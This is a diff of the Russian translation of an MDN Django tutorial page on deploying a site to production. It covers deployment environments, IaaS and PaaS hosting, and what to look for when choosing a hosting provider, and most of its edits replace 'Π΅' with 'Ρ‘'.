<p>Π”Π°Π½Π½ΠΎΠ΅ руководство прСдоставляСт нСбольшой ΠΎΠ±Π·ΠΎΡ€ Π²Ρ‹Π±ΠΎΡ€Π° хостинга, приготовлСния сайта ΠΊ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΌΡƒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡŽ, Π° Ρ‚Π°ΠΊΠΆΠ΅ практичСский ΠΏΡ€ΠΈΠΌΠ΅Ρ€ установки сайта LocalLibrary Π½Π° ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹ΠΉ сСрвис <a href="https://www.heroku.com/">Heroku</a>.</p>
-<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅_развСртывания">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ развСртывания?</h2>
+<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅_развёртывания">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ развёртывания?</h2>
-<p>ΠžΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ развСртывания - это срСда, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдоставляСт сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ свой Π²Π΅Π±-сайт для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎ запуска ΠΈ доступа. Π”Π°Π½Π½ΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя:</p>
+<p>ΠžΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ развёртывания - это срСда, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдоставляСт сСрвСр, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ свой Π²Π΅Π±-сайт для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎ запуска ΠΈ доступа. Π”Π°Π½Π½ΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя:</p>
<ul>
<li>Π–Π΅Π»Π΅Π·ΠΎ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ сайт.</li>
<li>ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ систСму (Linux, Windows).</li>
<li>Π―Π·Ρ‹ΠΊΠΈ программирования Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ выполнСния (скриптовыС) ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ваш сайт.</li>
<li>Π’Π΅Π±-сСрвСр, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для обслуТивания страниц ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (Nginx, Apache).</li>
- <li>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ "динамичСскиС" запросы ΠΌΠ΅ΠΆΠ΄Ρƒ сайтом Django ΠΈ Π²Π΅Π±-сСрвСром.</li>
+ <li>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ "динамичСскиС" запросы ΠΌΠ΅ΠΆΠ΄Ρƒ сайтом Django ΠΈ Π²Π΅Π±-сСрвСром.</li>
<li>Π‘Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ зависит ваш сайт.</li>
</ul>
@@ -60,15 +60,15 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π£ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ прокси, балансировщикС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
</div>
-<p>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вашим собствСнным с ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ ΠΏΠΎ скоростному ΠΊΠ°Π½Π°Π»Ρƒ, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΌ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠΌ являСтся ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ "ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ". Π§Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ запускаСтся Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈ "Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ"), Π² хостинговом Π΄Π°Ρ‚Π°-Ρ†Π΅Π½Ρ‚Ρ€Π΅. Π£Π΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ сСрвСр ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдоставляСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ доступ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹ΠΌ рСсурсам (процСссору, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти, памяти Π½Π° ТСстких носитСлях ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅) ΠΈ соСдинСниС с ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ Π·Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ†Π΅Π½Ρƒ.</p>
+<p>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ вашим собствСнным с ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ ΠΏΠΎ скоростному ΠΊΠ°Π½Π°Π»Ρƒ, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰ΠΈΠΌ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠΌ являСтся ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ "ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ". Π§Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ваш ΠΊΠΎΠ΄ запускаСтся Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈ "Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ"), Π² хостинговом Π΄Π°Ρ‚Π°-Ρ†Π΅Π½Ρ‚Ρ€Π΅. Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ сСрвСр ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ прСдоставляСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ доступ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹ΠΌ рСсурсам (процСссору, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти, памяти Π½Π° Тёстких носитСлях ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅) ΠΈ соСдинСниС с ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ Π·Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ†Π΅Π½Ρƒ.</p>
-<p>Π’Π°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ доступа ΠΊ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ/сСтСвому ΠΆΠ΅Π»Π΅Π·Ρƒ называСтся <em>Π˜Π½Ρ„Ρ€Π°ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΊΠ°ΠΊ БСрвис (Infrastructure as a Service - IaaS)</em>. ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ IaaS поставщиков ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ услуги ΠΏΠΎ прСдустановкС ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вашСго Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ окруТСния ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹. Π”Ρ€ΡƒΠ³ΠΈΠ΅ поставщики ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π²Π°ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ окруТСния, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя Django ΠΈ настроСнный Π²Π΅Π±-сСрвСр.</p>
+<p>Π’Π°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ доступа ΠΊ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ/сСтСвому ΠΆΠ΅Π»Π΅Π·Ρƒ называСтся <em>Π˜Π½Ρ„Ρ€Π°ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° ΠΊΠ°ΠΊ БСрвис (Infrastructure as a Service - IaaS)</em>. ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ IaaS поставщиков ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ услуги ΠΏΠΎ прСдустановкС ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для вашСго Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ окруТСния ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹. Π”Ρ€ΡƒΠ³ΠΈΠ΅ поставщики ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Π²Π°ΠΌ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‡ΠΈΠ΅ окруТСния, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π² сСбя Django ΠΈ настроСнный Π²Π΅Π±-сСрвСр.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π“ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ окруТСния ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ настройку вашСго Π²Π΅Π±-сайта ΠΎΡ‡Π΅Π½ΡŒ простой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡŽ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π»ΠΈΠ±ΠΎ количСство доступных ΠΎΠΏΡ†ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСдостаточным, ΠΈΠ»ΠΈ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС. Часто, Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Π° Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ, ΠΏΡ€ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ систСмы, ΡƒΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π½Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ!</p>
</div>
-<p>НСкоторыС ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Django ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ своСго прСдлоТСния <em>ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΊΠ°ΠΊ БСрвис (Platform as a Service</em> - PaaS). ΠŸΡ€ΠΈ Π΄Π°Π½Π½ΠΎΠΌ Π²ΠΈΠ΄Π΅ хостинга Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ большСй части окруТСния (Π²Π΅Π±-сСрвСрС, сСрвСрС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, балансировщикС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ сама ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° Π±Π΅Ρ€Π΅Ρ‚ это Π½Π° сСбя (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ всС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠ°ΡΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ роста ΠΈ развития вашСго прилоТСния). Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ прилоТСния являСтся достаточно простой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, - Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π° Π½Π΅ Π½Π° инфраструктурС.</p>
+<p>НСкоторыС ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Django ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ своСго прСдлоТСния <em>ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΊΠ°ΠΊ БСрвис (Platform as a Service</em> - PaaS). ΠŸΡ€ΠΈ Π΄Π°Π½Π½ΠΎΠΌ Π²ΠΈΠ΄Π΅ хостинга Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ большСй части окруТСния (Π²Π΅Π±-сСрвСрС, сСрвСрС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, балансировщикС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ), Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ сама ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° Π±Π΅Ρ€Π΅Ρ‚ это Π½Π° сСбя (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ всС ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠ°ΡΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ роста ΠΈ развития вашСго прилоТСния). Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠ΅ прилоТСния являСтся достаточно простой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, - Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π° Π½Π΅ Π½Π° инфраструктурС.</p>
<p>НСкоторыС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, прСдоставляСмоС IaaS, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ наимСньшиС Π½Π°ΠΊΠ»Π°Π΄Π½Ρ‹Π΅ расходы ΠΈ простоС ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, прСдоставляСмоС PaaS. Когда Π²Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅, Ρ‚ΠΎ систСма Ρ‚ΠΈΠΏΠ° PaaS являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈ это ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π΄Π°Π½Π½ΠΎΠΌ руководствС.</p>
@@ -89,12 +89,12 @@ original_slug: Learn/Server-side/Django/Π Π°Π·Π²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π½ΠΈΠ΅
<li>ВрСмя Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹ хостинга, Π° Ρ‚Π°ΠΊΠΆΠ΅ врСмя ΠΈ количСство простоя.</li>
<li>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ для управлСния сайтом β€” простота ΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΈΡ… использования (SFTP ΠΈ FTP).</li>
<li>ВстроСнныС Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ для ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° вашСго сСрвСра.</li>
- <li>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ. НСкоторыС хостинги ΠΌΠΎΠ³ΡƒΡ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвисы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ) . Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство часов "ΠΆΠΈΠ²ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ" Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ†Π΅Π½Ρƒ, ΠΈΠ»ΠΈ нСбольшоС количСство мСста для Π΄Π°Π½Π½Ρ‹Ρ….</li>
+ <li>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡ. НСкоторыС хостинги ΠΌΠΎΠ³ΡƒΡ‚ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвисы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ) . Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство часов "ΠΆΠΈΠ²ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ" Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ†Π΅Π½Ρƒ, ΠΈΠ»ΠΈ нСбольшоС количСство мСста для Π΄Π°Π½Π½Ρ‹Ρ….</li>
<li>ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²Π°. НСкоторыС ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ бСсплатныС Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ сСртификатов SSL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ ΠΊΡƒΠΏΠΈΡ‚ΡŒ.</li>
